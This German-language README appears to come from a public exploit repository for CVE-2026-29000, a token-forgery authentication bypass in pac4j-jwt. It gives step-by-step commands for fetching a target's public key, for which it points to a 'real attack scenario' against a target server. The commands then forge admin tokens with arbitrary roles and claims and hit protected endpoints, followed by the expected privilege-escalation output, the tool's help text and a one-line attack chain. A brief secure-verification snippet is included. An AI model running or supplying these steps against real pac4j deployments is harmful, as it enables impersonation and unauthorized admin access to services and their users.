
Exploit für CVE-2026-29000, eine JWT-Authentifizierungsumgehung in pac4j-jwt über JWE-verpacktes PlainJWT, die Token-Fälschung und Privilegieneskalation ermöglicht.
JWT-Authentifizierungs-Bypass in pac4j-jwt über JWE-verpackte PlainJWT
CVE-2026-29000 ist eine kritische Authentifizierungs-Bypass-Schwachstelle, die pac4j-jwt-Versionen vor 4.5.9, 5.7.9 und 6.3.3 betrifft. Die Schwachstelle ermöglicht es entfernten Angreifern, Authentifizierungstokens zu fälschen und die Signaturprüfung zu umgehen.
Die Schwachstelle existiert in der Komponente JwtAuthenticator bei der Verarbeitung verschlüsselter JWTs (JWE). Wenn ein JWE-Token empfangen wird:
exploit.py - Python-Exploit-Skript zur Generierung bösartiger Tokensvulnerable_server.py - Demonstrationsserver, der die Schwachstelle simuliertrequirements.txt - Python-AbhängigkeitenREADME.md - Diese Datei# Repository klonen
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# Abhängigkeiten installieren
pip3 install -r requirements.txt
python3 vulnerable_server.py
Der Server wird:
server_private.pem und server_public.pem)In einem realen Angriffsszenario den Public-Key vom Zielserver abrufen:
# Public-Key vom JWKS-Endpunkt herunterladen
curl http://target-server.com/jwks > target_jwks.json
# Oder direkter Public-Key-Endpunkt
curl http://target-server.com/public-key > target_public.pem
Für den Testserver:
curl http://127.0.0.1:5000/public-key > server_public.pem
Das Exploit-Skript verwenden, um ein JWE-verpacktes PlainJWT zu erstellen:
# Grundlegende Verwendung - als Admin authentifizieren
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# Als bestimmter Benutzer mit mehreren Rollen authentifizieren
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# Benutzerdefinierte Claims hinzufügen
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# Token in Datei speichern
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# Das bösartige Token setzen (aus der exploit.py-Ausgabe kopieren)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# Öffentlichen Endpunkt aufrufen (sollte funktionieren)
curl http://127.0.0.1:5000/api/public
# Benutzer-Endpunkt mit bösartigem Token aufrufen (BYPASS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# Admin-Endpunkt mit bösartigem Token aufrufen (PRIVILEGIENERWEITERUNG!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Erwartete erfolgreiche Ausgabe vom Admin-Endpunkt:
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. Abhängigkeiten installieren
pip3 install -r requirements.txt
# 2. Verwundbaren Server starten (in Terminal 1)
python3 vulnerable_server.py
# 3. In einem neuen Terminal den Public-Key abrufen
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. Bösartiges Admin-Token generieren
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. Token in Variable extrahieren
TOKEN=$(cat token.txt)
# 6. Öffentlichen Endpunkt testen (Basislinie - keine Authentifizierung erforderlich)
curl http://127.0.0.1:5000/api/public
# 7. Benutzer-Endpunkt testen (sollte mit unserem bösartigen Token erfolgreich sein)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. Admin-Endpunkt testen (EXPLOIT ERFOLGREICH - sollte auf eingeschränkte Daten zugreifen)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. Überprüfen, ob die Antwort das Flag enthält
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens
options:
-h, --help show this help message and exit
--subject SUBJECT, -s SUBJECT
Subject (username) to impersonate
--roles ROLES, -r ROLES
Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
Path to RSA public key PEM file
--claims CLAIMS, -c CLAIMS
Additional claims as JSON string
--generate-keypair, -g
Generate a test RSA keypair and save to files
--output OUTPUT, -o OUTPUT
Output file for the generated token
1. Client sendet JWT mit Signatur
2. Server verifiziert Signatur mit Public-Key
3. Wenn gültig, Claims extrahieren
4. Zugriff basierend auf Claims gewähren
1. Angreifer erhält den RSA-Public-Key des Servers
2. Angreifer erstellt PlainJWT (alg: none) mit beliebigen Claims
Beispiel: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. Angreifer verschlüsselt PlainJWT mit JWE unter Verwendung des Public-Keys des Servers
4. Server entschlüsselt JWE erfolgreich
5. Server extrahiert Claims aus dem inneren PlainJWT OHNE Signaturprüfung
6. Server gewährt Zugriff basierend auf gefälschten Claims
Die Schwachstelle tritt auf, weil:
def verify_jwe_token_secure(token, private_key):
# 1. JWE entschlüsseln
inner_jwt = decrypt_jwe(token, private_key)
# 2. Inneren JWT-Header parsen
header = parse_jwt_header(inner_jwt)
# 3. KRITISCH: Verifizieren, dass der Algorithmus nicht "none" ist
if header.get('alg') == 'none':
raise SecurityError("PlainJWT not allowed")
# 4. KRITISCH: Signatur des inneren JWT verifizieren
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Invalid JWT signature")
# 5. Claims erst nach der Verifizierung extrahieren
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/usercurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin# Einzeiler-Einrichtung und Test
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Dieses Tool wird ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Verwenden Sie dieses Tool nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche Testgenehmigung haben.
MIT-Lizenz - Nur für Bildungszwecke
Security Researcher Datum: 2026-03-16
FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS} suchen